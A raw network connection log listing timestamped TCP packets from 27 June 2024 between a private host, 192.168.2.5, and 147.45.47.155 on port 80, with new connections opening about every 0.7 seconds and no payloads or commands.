Jun 27, 2024 07:39:04.901710033 CEST	49822	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:04.901923895 CEST	49822	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:04.901998997 CEST	80	49821	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:04.902053118 CEST	49821	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:04.906687021 CEST	80	49822	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:05.568566084 CEST	80	49822	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:05.568638086 CEST	49822	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:05.577008009 CEST	49822	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:05.578107119 CEST	49823	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:05.582298994 CEST	80	49822	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:05.583014011 CEST	80	49823	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:05.583087921 CEST	49822	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:05.583122015 CEST	49823	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:05.584995985 CEST	49823	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:05.589931011 CEST	80	49823	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:06.261090040 CEST	80	49823	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:06.261192083 CEST	49823	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:06.371918917 CEST	49823	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:06.372242928 CEST	49824	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:06.377115965 CEST	80	49824	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:06.377473116 CEST	49824	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:06.377542019 CEST	80	49823	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:06.377650023 CEST	49824	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:06.377664089 CEST	49823	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:06.383006096 CEST	80	49824	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:07.062994003 CEST	80	49824	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:07.063083887 CEST	49824	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:07.065978050 CEST	49824	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:07.066241026 CEST	49825	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:07.072160006 CEST	80	49824	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:07.072331905 CEST	49824	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:07.072593927 CEST	80	49825	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:07.072664976 CEST	49825	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:07.072774887 CEST	49825	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:07.081690073 CEST	80	49825	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:07.756961107 CEST	80	49825	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:07.757271051 CEST	49825	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:07.871691942 CEST	49825	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:07.871983051 CEST	49826	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:07.876807928 CEST	80	49826	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:07.876884937 CEST	49826	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:07.877070904 CEST	49826	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:07.878572941 CEST	80	49825	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:07.878635883 CEST	49825	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:07.881827116 CEST	80	49826	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:08.562237024 CEST	80	49826	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:08.562305927 CEST	49826	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:08.567665100 CEST	49826	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:08.567987919 CEST	49827	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:08.572756052 CEST	80	49826	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:08.572782993 CEST	80	49827	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:08.572808981 CEST	49826	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:08.572854042 CEST	49827	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:08.573666096 CEST	49827	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:08.578476906 CEST	80	49827	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:09.241508961 CEST	80	49827	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:09.241573095 CEST	49827	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:09.382350922 CEST	49827	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:09.382610083 CEST	49828	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:09.387737989 CEST	80	49827	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:09.387803078 CEST	80	49828	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:09.387864113 CEST	49827	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:09.387898922 CEST	49828	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:09.393208981 CEST	49828	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:09.398031950 CEST	80	49828	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:10.052628040 CEST	80	49828	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:10.052860975 CEST	49828	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:10.056269884 CEST	49828	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:10.056655884 CEST	49829	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:10.061467886 CEST	80	49829	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:10.061566114 CEST	49829	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:10.061707020 CEST	80	49828	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:10.061820984 CEST	49829	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:10.061858892 CEST	49828	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:10.067536116 CEST	80	49829	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:10.751013041 CEST	80	49829	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:10.751094103 CEST	49829	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:10.872364044 CEST	49829	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:10.873223066 CEST	49830	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:10.877902031 CEST	80	49829	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:10.878195047 CEST	49829	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:10.881982088 CEST	80	49830	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:10.882071972 CEST	49830	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:10.884586096 CEST	49830	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:10.889579058 CEST	80	49830	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:11.549912930 CEST	80	49830	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:11.549990892 CEST	49830	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:11.554033995 CEST	49830	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:11.554441929 CEST	49831	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:11.559211969 CEST	80	49831	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:11.559290886 CEST	80	49830	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:11.559317112 CEST	49831	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:11.559356928 CEST	49830	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:11.559528112 CEST	49831	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:11.565310001 CEST	80	49831	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:12.230699062 CEST	80	49831	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:12.230863094 CEST	49831	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:12.340420008 CEST	49831	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:12.340621948 CEST	49832	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:12.356220961 CEST	80	49832	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:12.356580973 CEST	49832	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:12.356803894 CEST	49832	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:12.358792067 CEST	80	49831	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:12.358932018 CEST	49831	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:12.361546040 CEST	80	49832	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:13.023261070 CEST	80	49832	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:13.023698092 CEST	49832	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:13.027117014 CEST	49832	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:13.027525902 CEST	49833	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:13.032370090 CEST	80	49832	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:13.032423973 CEST	80	49833	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:13.032556057 CEST	49833	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:13.032556057 CEST	49832	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:13.032732964 CEST	49833	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:13.037573099 CEST	80	49833	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:13.728621960 CEST	80	49833	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:13.728701115 CEST	49833	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:13.840583086 CEST	49833	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:13.840986013 CEST	49834	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:13.845844984 CEST	80	49833	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:13.845880985 CEST	80	49834	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:13.845912933 CEST	49833	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:13.845944881 CEST	49834	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:13.846033096 CEST	49834	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:13.850763083 CEST	80	49834	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:14.533955097 CEST	80	49834	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:14.535648108 CEST	49834	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:14.538615942 CEST	49834	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:14.538634062 CEST	49835	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:14.543500900 CEST	80	49835	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:14.543735027 CEST	49835	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:14.543803930 CEST	49835	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:14.543819904 CEST	80	49834	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:14.547668934 CEST	49834	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:14.551059961 CEST	80	49835	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:15.220196962 CEST	80	49835	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:15.220285892 CEST	49835	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:15.325150967 CEST	49835	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:15.325159073 CEST	49836	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:15.330091953 CEST	80	49836	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:15.330342054 CEST	80	49835	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:15.330447912 CEST	49835	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:15.330451965 CEST	49836	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:15.330663919 CEST	49836	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:15.335499048 CEST	80	49836	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:16.008816004 CEST	80	49836	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:16.008893967 CEST	49836	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:16.013001919 CEST	49836	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:16.013329983 CEST	49837	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:16.018606901 CEST	80	49836	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:16.018645048 CEST	80	49837	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:16.018667936 CEST	49836	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:16.018726110 CEST	49837	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:16.018965006 CEST	49837	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:16.023829937 CEST	80	49837	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:16.693907022 CEST	80	49837	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:16.694221020 CEST	49837	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:16.811611891 CEST	49837	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:16.812211990 CEST	49838	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:16.818054914 CEST	80	49837	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:16.818217993 CEST	49837	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:16.819773912 CEST	80	49838	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:16.820148945 CEST	49838	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:16.820350885 CEST	49838	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:16.825392008 CEST	80	49838	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:17.512495041 CEST	80	49838	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:17.512548923 CEST	49838	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:17.516448975 CEST	49838	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:17.516913891 CEST	49839	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:17.521811962 CEST	80	49839	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:17.521830082 CEST	80	49838	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:17.521867037 CEST	49839	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:17.521893024 CEST	49838	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:17.522053003 CEST	49839	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:17.526731968 CEST	80	49839	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:18.211333990 CEST	80	49839	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:18.211424112 CEST	49839	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:18.325117111 CEST	49839	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:18.325639963 CEST	49840	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:18.330399036 CEST	80	49840	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:18.330471039 CEST	49840	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:18.330769062 CEST	80	49839	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:18.330804110 CEST	49840	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:18.330818892 CEST	49839	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:18.338862896 CEST	80	49840	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:18.998564005 CEST	80	49840	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:18.998692989 CEST	49840	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:19.003573895 CEST	49840	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:19.003572941 CEST	49841	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:19.008819103 CEST	80	49841	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:19.008981943 CEST	49841	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:19.009177923 CEST	49841	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:19.009202003 CEST	80	49840	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:19.009358883 CEST	49840	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:19.014028072 CEST	80	49841	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:19.707465887 CEST	80	49841	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:19.707526922 CEST	49841	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:19.825449944 CEST	49841	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:19.825882912 CEST	49842	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:19.831310987 CEST	80	49842	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:19.831374884 CEST	49842	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:19.831393003 CEST	80	49841	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:19.831434965 CEST	49841	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:19.831604958 CEST	49842	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:19.836359024 CEST	80	49842	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:20.508120060 CEST	80	49842	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:20.512833118 CEST	49842	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:20.512833118 CEST	49842	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:20.512835026 CEST	49843	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:20.517663002 CEST	80	49843	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:20.517905951 CEST	80	49842	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:20.522245884 CEST	49842	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:20.522250891 CEST	49843	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:20.522250891 CEST	49843	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:20.527148962 CEST	80	49843	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:20.900121927 CEST	49843	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:21.013576984 CEST	49844	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:21.018558979 CEST	80	49844	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:21.019690037 CEST	49844	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:21.022584915 CEST	49844	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:21.027348995 CEST	80	49844	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:21.690274000 CEST	80	49844	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:21.690350056 CEST	49844	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:21.694571018 CEST	49844	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:21.694977999 CEST	49845	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:21.700011015 CEST	80	49844	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:21.700048923 CEST	80	49845	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:21.700067997 CEST	49844	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:21.700126886 CEST	49845	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:21.700371027 CEST	49845	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:21.705136061 CEST	80	49845	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:22.387178898 CEST	80	49845	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:22.390145063 CEST	49845	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:22.496692896 CEST	49845	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:22.497687101 CEST	49846	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:22.502015114 CEST	80	49845	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:22.502582073 CEST	80	49846	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:22.502746105 CEST	49846	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:22.502746105 CEST	49845	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:22.503120899 CEST	49846	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:22.507884026 CEST	80	49846	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:23.198833942 CEST	80	49846	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:23.198960066 CEST	49846	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:23.201884985 CEST	49846	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:23.206598043 CEST	49847	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:23.214068890 CEST	80	49846	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:23.214157104 CEST	49846	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:23.215625048 CEST	80	49847	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:23.215742111 CEST	49847	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:23.217978954 CEST	49847	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:23.223833084 CEST	80	49847	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:23.893836021 CEST	80	49847	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:23.893898010 CEST	49847	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:24.013076067 CEST	49847	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:24.013459921 CEST	49848	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:24.018250942 CEST	80	49848	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:24.018309116 CEST	49848	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:24.018358946 CEST	80	49847	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:24.018404961 CEST	49847	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:24.018728018 CEST	49848	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:24.023812056 CEST	80	49848	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:24.684879065 CEST	80	49848	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:24.687683105 CEST	49848	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:24.690570116 CEST	49848	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:24.690572023 CEST	49849	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:24.695637941 CEST	80	49849	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:24.696033001 CEST	80	49848	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:24.699657917 CEST	49849	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:24.699673891 CEST	49848	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:24.699914932 CEST	49849	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:24.706331968 CEST	80	49849	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:25.381881952 CEST	80	49849	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:25.381988049 CEST	49849	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:25.498835087 CEST	49849	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:25.499347925 CEST	49850	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:25.504399061 CEST	80	49849	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:25.504460096 CEST	80	49850	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:25.504475117 CEST	49849	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:25.504535913 CEST	49850	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:25.507888079 CEST	49850	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:25.512897015 CEST	80	49850	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:26.181664944 CEST	80	49850	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:26.181744099 CEST	49850	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:26.199393034 CEST	49850	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:26.199712992 CEST	49851	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:26.204533100 CEST	80	49850	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:26.204586029 CEST	49850	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:26.204598904 CEST	80	49851	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:26.204688072 CEST	49851	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:26.205224037 CEST	49851	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:26.210402966 CEST	80	49851	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:26.959645033 CEST	80	49851	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:26.967597961 CEST	49851	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:27.074666977 CEST	49851	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:27.074670076 CEST	49852	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:27.079663992 CEST	80	49852	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:27.079906940 CEST	80	49851	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:27.083705902 CEST	49852	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:27.083707094 CEST	49851	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:27.083811045 CEST	49852	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:27.088673115 CEST	80	49852	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:27.750101089 CEST	80	49852	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:27.750183105 CEST	49852	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:27.753962040 CEST	49852	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:27.754365921 CEST	49853	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:27.759352922 CEST	80	49853	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:27.759426117 CEST	49853	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:27.759560108 CEST	80	49852	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:27.759608030 CEST	49853	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:27.759624958 CEST	49852	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:27.764413118 CEST	80	49853	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:28.428648949 CEST	80	49853	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:28.431907892 CEST	49853	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:28.543528080 CEST	49853	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:28.544856071 CEST	49854	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:28.552015066 CEST	80	49853	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:28.553184986 CEST	80	49854	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:28.553368092 CEST	49853	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:28.553368092 CEST	49854	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:28.553704023 CEST	49854	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:28.561572075 CEST	80	49854	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:29.228657961 CEST	80	49854	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:29.228874922 CEST	49854	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:29.231537104 CEST	49854	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:29.234586000 CEST	49855	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:29.236638069 CEST	80	49854	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:29.236829042 CEST	49854	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:29.239469051 CEST	80	49855	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:29.239675045 CEST	49855	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:29.243578911 CEST	49855	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:29.248388052 CEST	80	49855	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:29.917823076 CEST	80	49855	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:29.917891979 CEST	49855	80	192.168.2.5	147.45.47.155
